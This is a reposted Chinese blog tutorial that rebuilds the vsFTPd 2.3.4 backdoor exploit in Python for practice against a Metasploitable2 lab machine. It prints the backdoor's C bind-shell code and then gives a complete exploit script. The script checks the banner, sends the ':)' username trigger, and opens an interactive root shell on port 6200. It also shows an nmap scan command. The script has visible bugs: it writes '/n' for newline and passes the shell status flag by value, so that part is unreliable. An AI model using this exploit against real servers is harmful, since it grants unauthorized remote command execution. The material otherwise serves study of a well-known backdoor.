在Python中重构vsFTPd后门漏洞

0×01 前言

大家好,首先来个声明本文目的不在于分析vsFTPd后门漏洞,我最近喜欢用漏洞编写exploit的形式来练习编程语言,在本文中,我们将重新用Python来一步步的编写这个漏洞的利用程序,主要是触发后门然后连接shell。首先我们来了解一下这个漏洞是如何触发的。

0×02 剖析vsFTPd后门漏洞

这个漏洞比较老了,但是要当成一个例子来练习技术,非常的经典,洞如其名,不知道这个是不是程序员故意留下的,还是被黑客植入的。首先我们下载源码下来看看。

在str.c源码中,我们发现多了一行很可疑的代码

else if((p_str->p_buf[i]==0x3a) && (p_str->p_buf[i+1]==0x29))
{
  vsf_sysutil_extra();
}

0x3a和0×29是16进制编码,我们转换成10进制再转换成字符就是 :) 。从上面的代码中很容易看出,只要我们输入的用户名字符串中有一位字符是 : ,下一位字符是 ) 就可以执行函数 vsf_sysutil_extra()

在sysdeputil.c的源码中,我们找到了 vsf_sysutil_extra() 函数:

int vsf_sysutil_extra(void)
{
  int fd, rfd;
  struct sockaddr_in sa;
  if((fd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
  exit(1);
  memset(&sa, 0, sizeof(sa));
  sa.sin_family = AF_INET;
  sa.sin_port = htons(6200);
  sa.sin_addr.s_addr = INADDR_ANY;
  if((bind(fd,(struct sockaddr *)&sa,
  sizeof(struct sockaddr))) < 0) exit(1);
  if((listen(fd, 100)) == -1) exit(1);
  for(;;)
  {
    rfd = accept(fd, 0, 0);
    close(0); close(1); close(2);
    dup2(rfd, 0); dup2(rfd, 1); dup2(rfd, 2);
    execl("/bin/sh","sh",(char *)0);
  }
}

可以发现这就是一段shell,绑定的端口是6200.

0×03 重构vsFTPd后门漏洞exploit

在前面我们已经了解到了如何来触发vsFTPd后门漏洞,现在就正式开始编写漏洞exploit了。首先我们先引入我们需要的模块:

import sys
import socket
import threading
import time

sys模块我们是用来接收命令行参数,socket模块用来触发漏洞,threading模块用来处理shell,time模块用来延迟shell交互。

现在我们已经引入模块了,接下来我们就来处理一下命令行参数。

if len(sys.argv) == 3:
    pass
else:
    print "Use: ./vsftpexploit.py [target IP] [target Port]"
    sys.exit(1)
target = sys.argv[1]
port = sys.argv[2]
print "[+]target IP:"+target
print "[+]target Port:"+port

从命令行接收两个参数,目标IP和目标端口。首先判断一下使用者是否正确的输入了参数,成功就打印目标IP和端口号。

在Python中重构vsFTPd后门漏洞

现在我们已经接收了需要的参数了,接下来就要来需要去触发漏洞了,这里我们将触发函数命名为exploit:

def exploit():
    exploit_socket = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    try:
        exploit_socket.connect((target,int(port)))
    except Exception:
        print "Can not attack target"
        sys.exit(1)
    print "[+]Attack target..."
    banner = exploit_socket.recv(1024)
    print banner

这里我们主要先来获取一下banner,来确定服务器FTP服务是不是vsFTPd 2.3.4。

在Python中重构vsFTPd后门漏洞

确定服务器的FTP服务是vsFTPd 2.3.4后,我们来触发漏洞:

if "vsFTPd 2.3.4" in banner:
    exploit_socket.send("USER hello:)/n")
    exploit_socket.recv(1024)
    exploit_socket.send("PASS HELLO/n")
    exploit_socket.close()
    print "[+]Attack was successful"
    return
else:
    print "[!]FTP service is not vsFTPd 2.3.4"
    sys.exit(1)

触发完漏洞,我们还需要连接到它才能操作。首先我们先创建一个函数处理线程运行。

def cont_shell(sock,status):
sock.settimeout(3)
while status == True:
    try:
        print sock.recv(1024).strip()
    except socket.timeout:
        pass
    except Exception:
        return

最后我们将编写一个综合的函数,来调用exploit函数,在触发漏洞后操作shell。

def hack():
    exploit()
    shell_socket = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    shell_status = True
    try:
        shell_socket.connect((target,6200))
    except Exception:
        print "[!]Can not connect Shell"
        sys.exit(1)
    shell_recv_thread = threading.Thread(target=cont_shell, args=(shell_socket, shell_status))
    shell_recv_thread.start()
    print "[+]The connection shell is complete"
    while 1:
        command = raw_input()
        if command == 'exit':
            shell_status = False
            shell_socket.close()
            shell_recv_thread.join()
            sys.exit(0)
        shell_socket.send(command + '/n')

很简单,首先我们调用了exploit()函数来触发漏洞,然后我们创建了一个名为 shell_socket 的套接字来连接shell。 shell_status 表示状态,主要是防止冲突。然后就是利用线程来处理与shell的交互了,最后用了一个循环来发送命令并当命令为exit时退出。

0×04 脚本演示

我们的exploit的编写到此就已经完成了,现在我们实际操作一下,测试一下我们的exploit是否可用。我们首先使用nmap探测一下服务器的FTP服务的版本。

nmap -sV -p21 192.168.242.129

结果:

在Python中重构vsFTPd后门漏洞

可以发现在目标服务器上的FTP服务是vsFTPd 2.3.4,我们来使用我们的exploit脚本:

成功利用

0×05 总结

在编写exploit的过程中,我犯了一个小错误,使用了TAB制表符,就不能再使用四个空格来代表制表符对齐,新的Python语法,是不支持在代码对齐中,混用TAB和空格的。文中的靶机我是直接使用了metasploitable2。大家有兴趣的可以自己尝试重新编写一下。

0×06 参考资料

  • 1、 https://www.exploit-db.com/exploits/17491/
  • 2、 https://0x00sec.org/t/re-building-a-vsftpd-backdoor-exploit-in-python/159
  • 3、 http://pastebin.com/AetT9sS5
  • 4、 http://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-download-backdoored.html

*本文作者:zusheng,转载请注明来自FreeBuf.COM

原文 

http://www.freebuf.com/vuls/125246.html

本站部分文章源于互联网,本着传播知识、有益学习和研究的目的进行的转载,为网友免费提供。如有著作权人或出版方提出异议,本站将立即删除。如果您对文章转载有任何疑问请告之我们,以便我们及时纠正。

PS:推荐一个微信公众号: askHarries 或者qq群:474807195,里面会分享一些资深架构师录制的视频录像:有Spring,MyBatis,Netty源码分析,高并发、高性能、分布式、微服务架构的原理,JVM性能优化这些成为架构师必备的知识体系。还能领取免费的学习资源,目前受益良多

转载请注明原文出处:Harries Blog™ » 在Python中重构vsFTPd后门漏洞

赞 (0)
分享到:更多 ()

评论 0

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址